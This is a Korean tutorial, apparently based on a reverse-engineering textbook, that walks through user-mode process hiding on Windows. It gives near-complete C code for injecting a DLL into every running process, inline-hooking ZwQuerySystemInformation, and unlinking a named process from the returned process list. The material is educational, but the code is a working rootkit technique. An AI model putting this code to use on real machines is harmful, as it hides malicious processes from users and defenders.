
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
ZwQuerySystemInformation API를 사용하는 이유
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
BOOL EnumProcesses(
[out] DWORD *lpidProcess,
[in] DWORD cb,
[out] LPDWORD lpcbNeeded
);
이 2가지 API는 모두 내부적으로 ntdll.ZwQuerySystemInformation() API를 사용한다. 즉 ZwQuerySystemInformation() API가 이 2가지 API보다 low-level-Hooking 방법이다. 따라서 두 API를 사용해도 되지만, ZwQuerySystemInformation을 직접 후킹하는 것이 더 성공 확률이 높아진다.
프로세스를 완전히 숨기기 위해 시스템에 실행 중인 모든 프로세스에 대해 ZwQuerySystemInformation() API를 후킹하고, 추가적으로 나중에 실행될 프로세스에 대해서도 후킹이 자동적으로 진행되게끔 하는 후킹 방법이다.
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD dwPID = 0;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// 시스템의 snapshot 확보
pe.dwSize = sizeof( PROCESSENTRY32 );
// ZwQuerySystemInformation의 high-level hook process 사용
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// 프로세스 찾기 --> 프로세스의 PID를 찾는다.
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
// 시스템의 안정성을 위해서
// PID 가 100 보다 작은 시스템 프로세스에 대해서는
// DLL Injection 을 수행하지 않는다.
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
이 함수에서 사용된 Process32First, Process32Next 함수
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);
BOOL Process32Next(
[in] HANDLE hSnapshot,
[out] LPPROCESSENTRY32 lppe
);
두 함수를 이용하여 프로세스의 PID를 구한다.
#pragma comment(linker, "/SECTION:.SHARE,RWS")
// .SHARE 이름의 공유 메모리 섹션 생성하고 그 안에 g_szProcName 버퍼 생성
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
#ifdef __cplusplus
extern "C" {
#endif
// 은폐하고자 하는 프로세스의 이름을 입력받아서 g_szProcName에 붙여넣기
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif
stealth.cpp -> DllMain()
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 예외처리
// 현재 프로세스가 HookProc.exe 라면 후킹하지 않고 종료
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
hook_by_code와 unhook_by_code는 훅과 언훅을 담당하는 코드이다. 가장 중요한 부분은 NewZwQuerySystemInformation이다.
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 작업 전에 언훅
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// original API 호출
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// SystemProcessInformation 인 경우만 작업함
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION 타입 캐스팅
// pCur 는 single linked list 의 head
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 프로세스 이름 비교
// g_szProcName = 은폐하려는 프로세스 이름
// (=> SetProcName() 에서 세팅됨)
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 연결 리스트에서 은폐 프로세스 제거
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
// 연결 리스트의 다음 항목
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 함수 종료 전에 다시 API Hooking
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
아까 봤던 stealth.MyZQSI code의 과정 동작원리와 똑같이 흐른다. 중요한 부분은 SYSTEM_PROCESS_INFORMATION 구조체 연결 리스트를 검사하면서 프로세스 이름(pCur->Reserved2[1])을 비교하는 과정이다. 여기서 SYSTEM_PROCESS_INFORMATION 구조체는 아래와 같다.
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
이 구조체는 사용자 커스텀 함수가 아닌 Window Programming에서 사용되는 구조체 중 하나이다. ZwQuerySystemInformation API를 호출하면, SystemInformation 파라미터에 SYSTEM_PROCESS_INFORMATION 구조체 단방향 연결 리스트의 시작 주소가 저장된다. 이 구조체 연결 리스트에 모든 프로세스의 정보가 담겨있다. 따라서 이 연결리스트에서 은폐하고자 하는 프로세스를 찾아서 연결을 끊어버리면 된다.